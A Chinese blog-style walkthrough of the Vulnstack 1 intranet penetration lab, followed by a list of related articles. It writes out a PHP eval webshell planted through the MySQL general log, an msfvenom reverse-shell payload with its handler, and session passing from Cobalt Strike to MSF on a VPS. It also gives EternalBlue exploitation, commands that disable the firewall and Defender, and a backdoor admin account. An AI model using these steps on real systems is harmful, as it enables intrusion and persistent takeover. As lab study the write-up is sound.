目录

前言:

信息收集:

phpmyadmin getshell

日志写shell

yxcms getshell

植入后们:

内网域环境信息收集:

基于msf 进行信息收集:

基于msf 内网信息收集:

内网收集思路总结:

CS派生会话给公网MSF

CS开启监听:

3.cs 派生会话。

​编辑

MSF 利用MSF小记 | 命令 (lmlphp.com):

MSF进行 永恒之蓝攻击:

MSF 内网端口扫描。

利用ms17-010

总结:


前言:

仅记录学习过程,期间也会借鉴其他师傅的文章

靶场环境搭建的话,可以参考其他师傅。

我的环境:

kali (攻击机):192.168.92.129Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)Windows 2008 (域控):192.168.52.138Win2k3 (域管):192.168.52.141

信息收集:

因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。

看到80端口起了HTTP服务, 3306端口起了 mysql

访问一下此 IP 的80 端口。

是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch

扫到了 phpinfo.php  还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强

访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root  admin  123456 等弱口令,试出来是root root  如果实在是不行,可以用bp爆破。

拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。

phpmyadmin getshell

一、 into outfile 和into dumpfile 写马

这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。

我们可以查看一下secure_file_prive 值:

show variables like "%secure_file%";

into写入文件:
使用需看要secure_file_priv的值。当value为“null”时,不允许写入或者读取当value为“空”时,允许读取任意文件当value为"/tmp"时,只允许在/tmp目录中写入和读取value可也已设置为其他路径。

这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。

看到这里的值为NULL 所以是 不允许写入或者读取文件。

ps  如果想要通过into 写入文件:

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:

select @@basedir

知道当前目录情况,直接写马就好了

然后通过执行select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。

select 1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/test.php'#select 1,'<?php eval($_POST[cmd]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行

写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。

日志写shell

应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。

查看日志状态:

show variables like ‘%general%’;

general_log  和general_log_file  的简述:

  • mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。

上面看到 general_log 的value是off  我们需要手动开启。

set global general_log = "ON";    //开启记录查询操作
set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.

成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。

也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行

select '<?php eval($_POST[a]);?>'

访问 1.php

有报错,说明确实是写进去了。windows10 用蚁剑连一下。

成功连接。看到有个beifen,其中是yxcms的源码。

yxcms getshell

服务器搭建了 yxcms 系统,我们url访问一下看看。

右下角还有个提示,根据提示,成功登入后台。

 点击前台模板

 可以上传 文件,且后缀为php,只能说有点过于简单了,真实环境不可能让你这样玩的

文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:

路径为: /yxcms/protected/apps/default/view/default

所以我们蚁剑连接一下

这就成功拿到shell  了。似乎有点简单了。。

植入后们:

既然已经拿到webshell , 那么久要开始实现从web 跳到内网了,这里需要用到一个工具:

Cobaltsrike 简称CS

公网VPS 上运行CS服务:,记得给权限

2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:

连的你的vps  。

生成之后用蚁剑上传至目录

在蚁剑终端运行  exe文件

成功上线

接下来进行简单的靶机信息收集:

可以使用 MImikatz 直接抓取本机用户密码。

看到这台 win7服务器机器 的密码,也就是我们自己设置的windows7密码

进一步还可以利用 svc-exe 提权到 system 系统权限用户

创建新的接口,输入命令。

看到我们已经是这台机子的 系统权限账户了。

内网域环境信息收集:

内网信息收集的主要目的就是查找域控以及域内的其他主机,  以下是部分内网信息收集的命令:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1,先判断是否存在域,使用 shell ipconfig /all 查看dns 服务器,发现主DNS 后缀不为空,存在域god.org 。

或者使用 net config Workstation 来查看当前计算机名,全名,用户名,系统版本,工作站,域,登录域。等信息

2. 上面发现 DNS服务器为god.org ,当前登录域为GOD ,那接下来 可执行 net view /domain 查看一下有几个域 (域环境可能存在多个域)

3.既然只有一个域,那就利用  net group "domain controllers" /domain命令查看域控制器主机名,直接确认域控主机的名称为:OWA$

4. 已经确认域控主机的名称为 OWA ,继续执行命令 net view 查看局域网 其他主机信息。(主机名称,IP),可得知域控主机 IP 为 192.168.52.138

5.局域网扫描出来除了域控主机 之外,还有另一台主机, 名为:ROOT-TVI862UBEH 。

最后再确认一下该主机是否也是存在域中,故执行命令

shell net group "domain computers" /domain

查看域中的其他主机名,发现包含ROOT-TVI862UBEH ,故域中还包含一个域成员主机 其IP地址为:192.168.52.141 如图下所示:

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

基于msf 进行信息收集:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe//这里的LOHOST和LPORT是你kali的ip 和端口,生成一个exe文件

然后开启监听本地ip和端口模式:

use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.20.10.8
set lport 1234
exploit -j(后台)允许

因为我们已经拿下了服务器,所以我们可以用蚁剑 上传我们的exe 文件到服务器

然后运行此exe 文件

然后 msf 这边就会收到session 会话

之后我们sessions  1 就可以运行我们后续的payload。

msf 也可以直接system提权。

基于msf 内网信息收集:

sysinfo 收集主机信息:

查看域内其他主机:

确认域控:

net group “domain controllers” /domain

获取当前机器所有网段信息

内网收集思路总结:

cs上线之后,可以先用 net config Workstation 查看当前用户域信息  。可以用 net view /domain 来查看一下有多少个域,因为一个环境可能存在多个域。 如已确认域控主机,可以再进一步收集局域网内其他主机信息 net view收集其他主机ip 。

接下来将通过 win 7 作为跳板机,横向渗透拿下内网域内的域成员主机和域控。

CS派生会话给公网MSF

msf 框架继承了诸多渗透测试的利器,在内网渗透中经常要将CS和MSF搭配起来使用,下面演示如何将 cs 获取到的会话派生给MSF。

我在vps 主机上同时搭建了msf 框架和 cs服务,所以我们的vps需要开两个窗口,一个是cs服务,一个是msf 服务

,其中msf 的搭建只需执行以下命令:

apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
#上面这条命令是 下载安装
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole

use exploit/multi/handler             //使用模块
set payload windows/meterpreter/reverse_http    //设置payload
set lhost 104.168.***.***            //设置本地地址
set lport 6666                      //设置本地端口
exploit                             //执行

msf这方面的介绍:MSF的使用教程_zkzq的博客-CSDN博客_msf

如图所示:

CS开启监听:

回到CS 中添加 监听器,payload 为 windows/foreign/reverse_http , IP 为MSF的IP,监听端口为MSF的监听端口。

3.cs 派生会话。

选择刚刚新建的

返回vps 中的msf 窗口可以看到shell 会话。

MSF 利用MSF小记 | 命令 (lmlphp.com):

获得msf会话后即可使用 msf 集成诸多强大功能模块和脚本,,如调用post/windows/gather/checkvm 判断靶机是否属于虚拟机 (检查是否进了蜜罐):

再如 调用post/windows/gather/enum_applications 模块枚举列出安装在靶机上的应用程序:

MSF进行 永恒之蓝攻击:

公网vps 上 MSF获得会话后,目标是借助 msf 集成的攻击模块展开 横向渗透 拿下内网其他机器:

静态路由配置:

MSF的autoroute 模块是msf框架中 自带的一个路由转发功能,实现过程是msf 框架在已经获取的

Meterpreter Shell 的基础上 添加一条去往  “内网” 的路由,直接使用msf 去访问原本不能直接访问的内网资源,只要路由可达,我们就可以使用msf来探测了。

首先需要配置静态路由:

#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

看到有两个网段,一个是内网的 还有一个是外网的 ,所以我们要添加一条到内网网段的路由:

run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

添加目标内网路由(添加失败,因为该路由已存在):

MSF 内网端口扫描。

现在路由可达内网网段,可以先对内网主机进行探测。

1。先执行backgroud 命令将当前执行的meterpreter 会话切换到后台,(后续也可以执行 sessions -i 重新返回会话),然后使用msf 自带  auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

扫到  域成员 开放了 445 , 135  , 139 端口,同样的,我们扫一下 域控主机开放的端口:

同样的,域控(192.168.52.138)也开启了 445端口。


插入一下,至于为什么是445 端口,因为这是永恒之蓝漏洞(MS17-010) 通过 TCP 的445和139端口,来利用SMBv1 和NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的Windows 主机, 只要用户主机开机联网,即可,通过该漏洞控制用户的主机。从而进一步

利用ms17-010

auxiliary/scanner/smb/smb_ms17_010  //扫描模块
exploit/windows/smb/ms17_010_eternalblue // 攻击模块

一般是先扫描,若显示有漏洞 再攻击。

msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run  #进行扫描,观察是否存在该漏洞

可以看到两台主机都可以使用永恒之蓝漏洞。

接下来尝试利用永恒之蓝漏洞拿下域控主机  192.168.52.138使用MSF集成的漏洞 ms17-010 exp

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run

最终是失败了,应该是没关win7防火墙

msf6-> sessions -l #查看所有会话
msf6-> sessions 4  #进入会话4中    //你查看所有会话,就是切换到哪个id
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

windows7 提示关闭了

接着重新对域控主机进行永恒之蓝攻击: 再来!

还是没能成功。。试一下用 psexec吧,不然也没办法。

。。。。。

还是失败了。 搜了下好像要 设置targets?

show targets

我们要控制的靶机 id 为3

set target 3

再执行一下exp,无奈还是不能成功

由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面:

成功连接上

#win7开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

上述命令可以再冰蝎  菜刀的命令终端执行。

至此 红日靶场一 已经结束。

总结:

内网水很深,还需要多多琢磨,其次,这是我第一次打内网靶机,自己的能力还是很不足,永恒之蓝没能打进去是非常遗憾,后面还会继续加油,打红日二。 网安任重道远。

红日靶场vulnstack1 内网渗透学习相关推荐

  1. 内网渗透学习-Windows信息收集

    内网渗透学习-Windows信息收集 本章内容主要介绍在获取网站服务器webshell后,怎样对Windows主机进行信息收集,对其网络环境进行分析和利用,主要是一个思路整理,在后续的章节中会整理更详 ...

  2. 靶场vulnstack4内网渗透

    环境介绍: 服务器:192.168.183.129.192.168.10.232 win7:192.168.183.131 DC:192.168.183.130 kali:192.168.10.182 ...

  3. 后渗透(内网渗透学习笔记)

    外网和内网 内网是局域网,在同一个局域网内的各台计算机可以互相ping通(可以相互通信)另外一个局域网内的计算机不可以连入.除非用一台服务器做端口转发.这样才能连入别人内网 而外网就是公网,就是可以让 ...

  4. Defcon China 靶场题 - 内网渗透Writeup

    对内网渗透的题目挺感兴趣的,所以做了一发. 先给个拓扑图 1. wordpress http://192.168.1.2/是一个wordpress 文件上传: http://192.168.1.2/w ...

  5. [内网渗透学习]内网收集Fscan扫描探测工具

    简介: fscan 是一个内网综合扫描工具,方便一键自动化.全方位漏洞扫描.它支持主机存活探测.端口扫描.常见服务的爆破.ms17010.redis批量写公钥.计划任务反弹shell.读取win网卡信 ...

  6. 内网渗透学习 day1

    me and my girlfriend 这个应该算最入门的靶子了 由于靶机和我们的攻击机处于同一个内网环境下,首先ifcongif命令查看本地ip 再用nmap扫描C段 发现一个开着80端口的ip ...

  7. 内网渗透|红日安全团队靶场渗透笔记|Mimikatz|MSF跳板

    靶场下载:漏洞详情​​​​​​ 环境搭建: 文件下载下来有三个压缩包,分别对应域中三台主机: VM1对应win7是web服务器 VM2对应windows2003是域成员 VM3对应windows se ...

  8. 内网渗透—红日安全vulnstack(二)

    文章目录 1. 环境说明 2. 开启靶场 3. 外网渗透 3.1 端口扫描 3.2 拿shell 3.2.1 CVE-2019-2725 3.2.2 MSF17-010 3.3 提权 4. 内网渗透 ...

  9. 内网安全:内网渗透.(拿到内网主机最高权限 vulntarget 靶场 A)

    内网安全:内网渗透.(拿到内网主机最高权限) 内网穿透又被称为NAT穿透,内网端口映射外网,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题.通过映射端口,让外网的电脑找到处于内 ...

最新文章

  1. 状态压缩dp入门 第一题 POJ 3254 Corn Fields
  2. Java网页开发中model实现Serializable接口的原因
  3. 托管 非托管_如何在托管Kubernetes上还原Neo4J备份
  4. eclipse查看git地址_在 IntelliJ IDEA 中使用 Git,太方便了
  5. 完美的做图配色专辑,UI设计师赶紧收藏
  6. kali linux wps 2019 删除_良心推荐!Linux系统下常用办公软件大盘点
  7. 使用Addressable更好的管理内存
  8. pandas基础(一)
  9. Zookeeper-03-集群
  10. 智能车图像处理7-车库的判断
  11. 项目,项目集与项目组合的关系
  12. python画满天星_跟我学解Python题-海龟制图满天星
  13. MySQL 轻量级Online DDL工具 —— gh-ost
  14. 回溯算法 --- 例题6.最大团问题
  15. Unable to initialize EGL
  16. 李白的诗-按时间顺序的创作
  17. 完美解决“未能装载Office文档控件。请使用Internet Explorer(6.0+)浏览器并检查浏览器的安全设置。”的方案
  18. OSPF路由协议及工作原理(一)
  19. 做网站选择虚拟主机好是服务器,做网站选择虚拟主机还是服务器
  20. Python日期的加减

热门文章

  1. MySQL计算连续3天登陆的用户
  2. 如何同步播放asf和vga文件的教学视频
  3. #VS C++ 2019# VSC++基础--下载并安装VSC++
  4. Bootstrap(well页数标签角标巨幕)
  5. android OOBE创建方法
  6. java计算机毕业设计共享汽车管理系统源码+mysql数据库+系统+lw文档+部署
  7. 22届华为AI岗实习面经
  8. 伯明翰高级计算机科学,2020年伯明翰大学高级计算机科学专业本科申请条件及世界排名|学费介绍...
  9. 网络连接出现意外错误的解决办法
  10. 视频教程-SpringBoot实战教程:SpringBoot入门及前后端分离项目开发-Java